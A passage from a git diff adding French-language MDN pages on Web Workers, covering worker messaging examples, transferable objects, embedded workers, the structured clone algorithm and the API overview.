+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+
+})();</pre>
+
+<p>La data URI est équivalente à une requête réseau, avec la réponse suivante :</p>
+
+<pre>onmessage = function (oEvent) {
+	postMessage({
+		"id": oEvent.data.id,
+		"evaluated": eval(oEvent.data.code)
+	});
+}</pre>
+
+<p>Exemples d'utilisation :</p>
+
+<pre class="brush: js">// message d'alerte asynchrone...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// affichage asynchrone d'un message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// néant asynchrone...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");</pre>
+
+<h4 id="Exemple_2_passage_avancé_de_données_JSON_et_création_d'un_système_d'échange">Exemple #2 : passage avancé de données JSON et création d'un système d'échange</h4>
+
+<p>Si vous devez passer des données complexes et appeler différentes fonctions à la fois dans la page principale et dans le worker, vous pouvez créer un système comme suit.</p>
+
+<p><strong>example.html</strong> (la page principale) :</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"  /&gt;
+&lt;title&gt;MDN Example - Queryable worker&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  /*
+    QueryableWorker instances methods:
+     * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+     * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+     * terminate(): terminates the Worker
+     * addListener(name, function): adds a listener
+     * removeListener(name): removes a listener
+    QueryableWorker instances properties:
+     * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+  */
+  function QueryableWorker (sURL, fDefListener, fOnError) {
+    var oInstance = this, oWorker = new Worker(sURL), oListeners = {};
+    this.defaultListener = fDefListener || function () {};
+    oWorker.onmessage = function (oEvent) {
+      if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("vo42t30") &amp;&amp; oEvent.data.hasOwnProperty("rnb93qh")) {
+        oListeners[oEvent.data.vo42t30].apply(oInstance, oEvent.data.rnb93qh);
+      } else {
+        this.defaultListener.call(oInstance, oEvent.data);
+      }
+    };
+    if (fOnError) { oWorker.onerror = fOnError; }
+    this.sendQuery = function (/* nom de la fonction requêtable, argument à passer 1, argument à passer 2, etc. etc */) {
+      if (arguments.length &lt; 1) { throw new TypeError("QueryableWorker.sendQuery - not enough arguments"); return; }
+      oWorker.postMessage({ "bk4e1h0": arguments[0], "ktp3fm1": Array.prototype.slice.call(arguments, 1) });
+    };
+    this.postMessage = function (vMsg) {
+      //Je ne pense pas qu'il y ait besoin d'appeler la méthode call()
+      //que diriez-vous tout simplement de oWorker.postMessage(vMsg);
+      //le même cas se pose avec terminate
+      //bien, juste un peu plus vite, aucune recherche dans la chaîne des prototypes
+      Worker.prototype.postMessage.call(oWorker, vMsg);
+    };
+    this.terminate = function () {
+      Worker.prototype.terminate.call(oWorker);
+    };
+    this.addListener = function (sName, fListener) {
+      oListeners[sName] = fListener;
+    };
+    this.removeListener = function (sName) {
+      delete oListeners[sName];
+    };
+  };
+
+  // votre worker "queryable" personnalisé
+  var oMyTask = new QueryableWorker("my_task.js" /* , votreEcouteurDeMessageParDefautIci [optional], votreEcouteurDErreurIci [optional] */);
+
+  // vos "écouteurs" personnalisés
+
+  oMyTask.addListener("printSomething", function (nResult) {
+    document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + nResult + "!"));
+  });
+
+  oMyTask.addListener("alertSomething", function (nDeltaT, sUnit) {
+    alert("Worker waited for " + nDeltaT + " " + sUnit + " :-)");
+  });
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a id="firstLink" href="javascript:oMyTask.sendQuery('getDifference', 5, 3);"&gt;What is the difference between 5 and 3?&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:oMyTask.sendQuery('waitSomething');"&gt;Wait 3 seconds&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:oMyTask.terminate();"&gt;terminate() the Worker&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>my_task.js</strong> (le worker) :</p>
+
+<pre class="brush: js">// vos fonctions PRIVEES personnalisées
+
+function myPrivateFunc1 () {
+  // instructions à exécuter
+}
+
+function myPrivateFunc2 () {
+  // instructions à exécuter
+}
+
+// etc. etc.
+
+// vos fonctions PUBLIQUES personnalisées (i.e. requêtables depuis la page principale)
+
+var queryableFunctions = {
+  // exemple #1 : obtenir la différence entre deux nombres :
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // exemple #2 : attendre trois secondes
+  waitSomething: function () {
+      setTimeout(function() { reply("alertSomething", 3, "seconds"); }, 3000);
+  }
+};
+
+// fonctions système
+
+function defaultQuery (vMsg) {
+  // votre fonction PUBLIQUE par défaut est exécutée seulement lorsque la page principale appelle la méthode queryableWorker.postMessage() directement
+  // instructions à exécuter
+}
+
+function reply (/* listener name, argument to pass 1, argument to pass 2, etc. etc */) {
+  if (arguments.length &lt; 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "vo42t30": arguments[0], "rnb93qh": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("bk4e1h0") &amp;&amp; oEvent.data.hasOwnProperty("ktp3fm1")) {
+    queryableFunctions[oEvent.data.bk4e1h0].apply(self, oEvent.data.ktp3fm1);
+  } else {
+    defaultQuery(oEvent.data);
+  }
+};</pre>
+
+<p>Il est possible d'échanger le contenu de chaque message page principale -&gt; worker et worker -&gt; page principale.</p>
+
+<h3 id="Passage_de_données_par_transfert_de_propriété_(objets_transférables)">Passage de données par transfert de propriété (objets transférables)</h3>
+
+<p>Google Chrome 17+ et Firefox 18+ proposent une manière additionnelle de passer certains types d'objets (les objets <span class="external">transférables, c'est-à-dire les objets implémentant l'interface {{domxref("Transferable")}}</span>) vers ou à partir d'un worker avec une haute performance. Les objets transférables sont transférés d'un contexte vers un autre sans aucune opération de copie, ce qui conduit à d'énormes gains de performance lorsque de gros ensembles de données sont envoyés. Considérez la chose comme un passage par référence si vous venez du monde C/C++. Cependant, contrairement au passage par référence, la 'version' issue du contexte appelant n'est plus disponible une fois transférée. Sa propriété est transférée au nouveau contexte. Par exemple, lors du transfert d'un {{domxref("ArrayBuffer")}} à partir de votre application principale vers le script d'un worker, le {{domxref("ArrayBuffer")}} original est nettoyé et définitivement inutilisable. Son contenu est (tout à fait littéralement) transféré au contexte du worker.</p>
+
+<pre class="brush: js">// Crée un "fichier" de 32MB et le remplit.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i &lt; uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+</pre>
+
+<div class="note">
+<p><strong>Remarque </strong>: pour plus d'information sur les objets transférables, la performance et la détection de fonctionnalité de cette méthode, lisez <a href="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast">Transferable Objects: Lightning Fast!</a> sur HTML5 Rocks.</p>
+</div>
+
+<h2 id="Workers_embarqués">Workers embarqués</h2>
+
+<p>Il n'y a pas une manière "officielle" d'embarquer le code d'un worker dans une page web, comme les éléments {{ HTMLElement("script") }} le font pour les scripts normaux. Mais un élément {{ HTMLElement("script") }} qui n'aurait pas d'attribut <code>src</code> et dont l'attribut <code>type</code> n'identifierait pas un type MIME exécutable peut être considéré comme un élément de bloc de données dont JavaScript peut faire usage.  Les "blocs de données" sont une caractéristique plus générale d'HTML5 qui peuvent contenir presque n'importe quelles données textuelles. Ainsi, un worker pourrait être embarqué de cette façon :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;MDN Example - Embedded worker&lt;/title&gt;
+&lt;script type="text/js-worker"&gt;
+  // Ce script NE SERA PAS traité par les moteurs JS parce que son type MIME est text/js-worker.
+  var myVar = "Hello World!";
+  // Le reste du code de votre worker commence ici.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // Ce script SERA analysé par les moteurs JS engines parce que son type MIME est text/javascript.
+  function pageLog (sMsg) {
+    // Utilisation d'un fragment : le navigateur réaffichera/réorganisera le DOM seulement une fois.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+&lt;/script&gt;
+&lt;script type="text/js-worker"&gt;
+  // Ce script NE SERA PAS traité par les moteurs JS parce que son type MIME est text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Le reste du code de votre worker commence ici.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // Ce script SERA analysé par les moteurs JS engines parce que son type MIME est text/javascript.
+
+  // Dans le passé... :
+  // blob builder a existé
+  // ...mais nous utilisons désormais Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Création d'une nouvelle propriété document.worker contenant tous nos scripts "text/js-worker".
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Démarrage du worker.
+  window.onload = function() { document.worker.postMessage(""); };
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Le worker embarqué est maintenant imbriqué dans une nouvelle propriété personnalisée <code>document.worker</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cette section fournit plusieurs exemples sur la façon d'utiliser les workers DOM.</p>
+
+<h3 id="Réaliser_des_calculs_en_arrière-plan">Réaliser des calculs en arrière-plan</h3>
+
+<p>Les workers sont principalement utiles pour permettre à votre code de réaliser des calculs très consommateur en CPU sans bloquer le thread de l'interface utilisateur. Dans cet exemple, un worker est utilisé pour calculer la suite de Fibonacci.</p>
+
+<h4 id="Le_code_JavaScript">Le code JavaScript</h4>
+
+<p>Le code JavaScript suivant est stocké dans le fichier "fibonacci.js" référencé par le fichier HTML dans la prochaine section.</p>
+
+<pre class="brush: js">var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i &lt;= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };</pre>
+
+<p>Le worker affecte à la propriété <code>onmessage</code>  une fonction qui recevra les messages envoyés lorsque la méthode  <code>postMessage()</code> de l'objet worker est appelée (remarquez que cela diffère de définir une <em>variable</em> globale de ce nom, ou de définir une <em>fonction</em> avec ce nom.   <code>var onmessage</code> <code>et function onmessage</code> définissent des propriétés globales avec ces noms, mais elles n'enregistrent pas la fonction pour recevoir les messages envoyés par la page web qui a créé le worker). Au démarrage de la récursion, il engendre ainsi de nouvelles copies de lui-même pour gérer chacune des itérations du calcul.</p>
+
+<h4 id="Le_code_HTML">Le code HTML</h4>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"  /&gt;
+    &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;div id="result"&gt;&lt;/div&gt;
+
+  &lt;script language="javascript"&gt;
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>La page web crée un élément <code>div</code> avec l'ID  <code>result</code> , qui sera utilisé pour afficher le résultat, puis engendre le worker.  Après création du worker, le gestionnaire <code>onmessage</code> est configuré pour afficher les résultats en renseignant le contenu de l'élément <code>div</code>, et le gestionnaire <code>onerror</code> est configuré pour <a class="external" href="/en/Debugging_JavaScript#dump()" title="https://developer.mozilla.org/editor/fckeditor/core/editor/en/Debugging_JavaScript#dump()">capturer</a> le message d'erreur.</p>
+
+<p>Finalement, un message est envoyé au worker pour le démarrer.</p>
+
+<p><a class="external" href="/samples/workers/fibonacci" title="https://developer.mozilla.org/samples/workers/fibonacci/">Tester cet exemple</a>.</p>
+
+<h3 id="Réaliser_des_ES_web_en_arrière-plan">Réaliser des E/S web en arrière-plan</h3>
+
+<p>Vous pouvez trouver un tel exemple dans l'article <a class="internal" href="/En/Using_workers_in_extensions" title="En/Using workers in extensions">Using workers in extensions</a> .</p>
+
+<h3 id="Répartir_des_tâches_entre_plusieurs_workers">Répartir des tâches entre plusieurs workers</h3>
+
+<p>Les ordinateurs multi-coeur étant de plus en plus répandus, il est souvent utile de répartir le calcul de tâches complexes entre différents workers afin de tirer partie des coeurs de ces multiprocesseurs.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">API Web Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/basic_usage">Utilisation des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html b/files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html
new file mode 100644
index 0000000000..dfb8c20bf9
--- /dev/null
+++ b/files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html
@@ -0,0 +1,153 @@
+---
+title: L’algorithme de clonage structuré
+slug: Web/API/Web_Workers_API/algorithme_clonage_structure
+translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
+---
+<p>L’algorithme de clonage structuré est un nouvel algorithme <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">défini par la spécification HTML5</a> pour sérialiser les objets JavaScript complexes. Il est plus puissant que <a href="/en/JSON" title="en/JSON">JSON</a> en cela qu’il supporte la sérialisation d’objets contenant des graphes cycliques — des objets peuvent faire référence à des objets faisant référence à d’autres objets dans le même graphe. De plus, dans certains cas, l’algorithme de clonage structuré peut être plus efficace que JSON.</p>
+
+<p>L’algorithme, essentiellement, parcourt tous les champs de l’objet original, copiant les valeurs de chaque champ dans un nouvel objet. Si un champ est lui-même un objet avec des champs, ces champs sont parcourus de manière récursive jusqu’à ce que chaque champ et sous-champ aient été copié dans le nouvel objet.</p>
+
+<h2 id="Avantages_par_rapport_à_JSON">Avantages par rapport à JSON</h2>
+
+<p>Il y a quelques avantages notables à utiliser l’algorithme de clonage structuré plutôt que JSON :</p>
+
+<ul>
+ <li>Le clonage structuré peut copier des objets <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a>.</li>
+ <li>Le clonage structuré peut copier des objets {{ domxref("Blob") }}, {{ domxref("File") }} et {{ domxref("FileList") }}.</li>
+ <li>Le clonage structuré peut copier des objets {{ domxref("ImageData") }}. Les dimensions du {{ domxref("CanvasPixelArray") }} du clone correspondront à celles de l’original, et il recevra une copie des mêmes données de pixels.</li>
+ <li>Le clonage structuré copie correctement les objets contenant des graphes de références cycliques.</li>
+</ul>
+
+<h2 id="Ce_qui_ne_marche_pas_avec_le_clonage_structuré">Ce qui ne marche pas avec le clonage structuré</h2>
+
+<ul>
+ <li>Les objets <a href="/en/JavaScript/Reference/Global_Objects/Error" title="en/JavaScript/Reference/Global Objects/Error"><code>Error</code></a> et <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function"><code>Function</code></a> ne peuvent pas être copiés par l’algorithme de clonage structuré ; toute tentative de le faire émettra une exception <code>DATA_CLONE_ERR</code>.</li>
+ <li>De la même manière, toute tentative de cloner des nœuds DOM émettra une exception <code>DATA_CLONE_ERR</code>.</li>
+ <li>Certains paramètres d’objets ne sont pas préservés :
+  <ul>
+   <li>Le champ <code>lastIndex</code> des objets <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> n’est pas préservé.</li>
+   <li>Les descripteurs de propriétés, accesseurs et mutateurs (ainsi que les fonctionnalités de métadonnées similaires) ne sont pas copiés. Par exemple, si un objet est marqué en lecture seule <em>via</em> un descripteur de propriété, il sera en lecture et écriture dans le clone, car c’est la condition par défaut.</li>
+   <li>La chaîne de prototypes n’est ni parcourue, ni copiée.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Types_supportés">Types supportés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type d’objet</th>
+   <th scope="col">Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Data_structures#Primitive_values">Tous types primitifs</a></td>
+   <td>À l’exception des symboles</td>
+  </tr>
+  <tr>
+   <td>Objet <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Booléen</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Objet String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">RegExp</a></td>
+   <td>Le champ <code>lastIndex</code> n’est pas préservé</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("Blob") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ domxref("File") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ domxref("FileList") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBuffer">ArrayBuffer</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a></td>
+   <td>Ce qui implique tous les <a href="/en-US/docs/Web/JavaScript/Typed_arrays">tableaux typés</a> tels que <code>Int32Array</code>, etc.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("ImageData") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></td>
+   <td>Inclut seulement les objets plats (par ex. depuis un objet littéral)</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Alternative_copie_profonde">Alternative : copie profonde</h2>
+
+<p>Si vous voulez une <strong>copie profonde</strong> d’un objet (c’est-à-dire une copie récursive de toutes les propriétés imbriquées, en parcourant la chaîne des prototypes), vous devez employer une autre approche. Ce qui suit est un exemple possible.</p>
+
+<pre class="brush: js">function clone(objectToBeCloned) {
+  // Cas basique.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filtre les objets spéciaux.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implémenter d’autres objets spéciaux ici.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone chaque propriété.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+</pre>
+
+<div class="note"><strong>  Note :</strong> Cet algorithme ne prend en charge que les objets spéciaux <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a> et <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a>. Vous pouvez implémenter d’autres cas spéciaux selon vos besoins.</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">Spécification HTML5 : Passage sécurisé de données structurées</a></li>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.postMessage()") }}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="/en-US/docs/Components.utils.cloneInto">Components.utils.cloneInto</a></li>
+</ul>
diff --git a/files/fr/web/api/web_workers_api/index.html b/files/fr/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..e218058f53
--- /dev/null
+++ b/files/fr/web/api/web_workers_api/index.html
@@ -0,0 +1,96 @@
+---
+title: API Web Workers
+slug: Web/API/Web_Workers_API
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Web_Workers_API
+---
+<article class="approved">
+<header>{{DefaultAPISidebar("Web Workers API")}}</header>
+</article>
+
+<p>Les <strong>Web Workers</strong> sont un mécanisme grâce auquel les instructions d'un script peuvent être exécutés dans un thread en arrière-plan séparé du thread d'exécution principal d'une application web. Cela a pour avantage qu'un traitement laborieux peut être réalisé dans un thread séparé, permettant au thread principal (généralement l'interface utilisateur) de fonctionner sans blocage ni ralentissement.</p>
+
+<h2 id="Concepts_et_utilisation_des_Web_Workers">Concepts et utilisation des Web Workers</h2>
+
+<p>Un worker est un objet créé en utilisant un constructeur (e.g. {{domxref("Worker.Worker", "Worker()")}}) qui exécute un fichier JavaScript nommé — ce fichier contient le code que doit exécuter le thread du worker; les workers s'exécutent dans un autre contexte global qui est différent du contexte actuel {{domxref("window")}}. Ce contexte est représenté par un objet {{domxref("DedicatedWorkerGlobalScope")}} dans le cas des workers dédiés (workers standards utilisés par un script unique; les workers partagés utilisent {{domxref("SharedWorkerGlobalScope")}}).</p>
+
+<p>Vous pouvez exécuter quelque code que ce soit à l'intérieur du thread du worker, avec quelques exceptions cependant. Par exemple, vous ne pouvez pas directement manipuler le DOM à partir d'un worker, ou utiliser des méthodes et des propriétés par défaut de l'objet {{domxref("window")}}. Mais vous pouvez utiliser un grand nombre des éléments disponibles sous <code>window</code>, comprenant les <a href="/fr/docs/WebSockets">WebSockets</a>, et les mécanismes de stockage de données tels qu'<a href="/fr/docs/IndexedDB">IndexedDB</a> et l'<a href="/en-US/docs/Web/API/Data_Store_API">API Data Store</a> spécifique à Firefox OS. Consultez <a href="/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Les fonctions et classes accessibles aux workers</a> pour plus de détails.</p>
+
+<p>Les données sont envoyées entre les workers et le thread principal au moyen d'un sytème de messages — des deux côtés les messages sont envoyés en utilisant la méthode <code>postMessage()</code>, et la réponse leur parvient au moyen du gestionnaire d'événement <code>onmessage</code> (le message est contenu dans l'attribut <code>data</code> de l'événement {{event("Message")}}.) Les données sont copiées plutôt que partagées.</p>
+
+<p>Les workers peuvent à leur tour engendrer de nouveaux workers, aussi longtemps que ces workers partagent la même origine que la page parente.  De plus, les workers peuvent utiliser <a class="internal" href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> pour les E/S réseau, à l'exception que les attributs <code>responseXML</code> et <code>channel</code> de <code>XMLHttpRequest</code> retournent toujours <code>null</code>.</p>
+
+<p>En plus des workers dédiés, il y a d'autres types de worker :</p>
+
+<ul>
+ <li>Les workers partagés sont des workers qui peuvent être utilisés par de multiples scripts s'exécutant dans différentes fenêtres, IFrames, etc., aussi longtemps qu'ils sont dans le même domaine que le worker. Leur fonctionnement est un petit plus complexe que les workers dédiés — les scripts doivent communiquer via un port actif. Consultez {{domxref("SharedWorker")}} pour plus de détails.</li>
+ <li>Les <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> fonctionnent essentiellement comme des serveurs proxy placés entre des applications web, et le navigateur et le réseau (lorsque disponibles). Ils sont destinés (entre autres choses) à permettre la création de véritables expériences déconnectées, interceptant les requêtes du réseau et prenant des décisions appropriées en fonction de la disponibilité du réseau et de la mise à jours des ressources situées sur le serveur. Ils permettront aussi d'accéder à des notifications poussées (push) et à des APIs synchronisées en arrière-plan.</li>
+ <li>Les Workers Chrome sont un type de worker spécifique à Firefox que vous pouvez utiliser si vous développez des extensions et que vous voulez y utiliser des workers et avoir accès aux <a href="/fr/docs/Mozilla/js-ctypes">js-ctypes</a> dans votre worker. Consulter {{domxref("ChromeWorker")}} pour plus de détails. </li>
+ <li>Les <a href="/fr/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> donne la possibilité d'effectuer directement dans le contexte d'un worker web un traitement audio scripté.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>Remarque: Selon les <a href="https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2">Spécifications de Web Worker</a>, les erreurs dans les workers ne devraient pas déborder (voir {{bug(1188141)}}). Cela a été implémenté dans Firefox 42.</p>
+</div>
+
+<h2 id="Les_interfaces_Web_Worker">Les interfaces Web Worker</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>Propriétés et méthodes abstraites communes à tous les types de workers (i.e. {{domxref("Worker")}} ou {{domxref("SharedWorker")}}).</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Représente le thread d'un worker en cours d'exécution, vous permettant de passer des messages au code du worker en cours d'exécution.</dd>
+ <dt>{{DOMxRef("WorkerLocation")}}</dt>
+ <dd>Défini la localisation du scripte exécuté par le <a href="/fr/docs/Web/API/Worker">Worker</a>.</dd>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd>Représente un type spécifique de worker qui peut être <em>accédé</em> à partir de plusieurs contextes de navigation, à savoir plusieurs fenêtres, iframes ou même workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>Représente le contexte générique de tout worker (il joue le même rôle que {{domxref("Window")}} pour un contenu web normal). Les différents types de worker ont un contexte d'objets qui hérite de cette interface et ajoute des fonctionnalités supplémentaires.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>Représente le contexte d'un worker dédié, héritant de {{domxref("WorkerGlobalScope")}} et ajoutant des fonctionnalités spécifiques.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>Représente le contexte d'un worker partagé, héritant de {{domxref("WorkerGlobalScope")}} et ajoutant des fonctionnalités spécifiques.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd>Représente l'identité et l'état de l'agent utilisateur (le client):</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Nous avons créé deux simples démos pour illustrer des usages basiques :</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">Exemple basique d'un worker dédié</a> (<a href="http://mdn.github.io/simple-web-worker/">lancer le worker dédié</a>).</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">Exemple basique d'un worker partagé</a> (<a href="http://mdn.github.io/simple-shared-worker/">lancer le worker partagé</a>).</li>
+</ul>
+
+<p>Vous pouvez obtenir plus d'informations sur le fonctionnement de ces démos dans notre <a href="/fr/docs/Utilisation_des_web_workers">guide d'utilisation des web workers</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "workers.html#workers", "Web Workers")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Utilisation_des_web_workers">Utilisation des web workers</a></li>
+ <li><a href="/fr/docs/Web/API/Worker">L'interface Worker</a></li>
+ <li><a href="/fr/docs/Web/API/SharedWorker">L'interface SharedWorker</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">L'API ServiceWorker</a></li>
+ <li><a href="/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Les fonctions et classes accessibles aux workers</a></li>
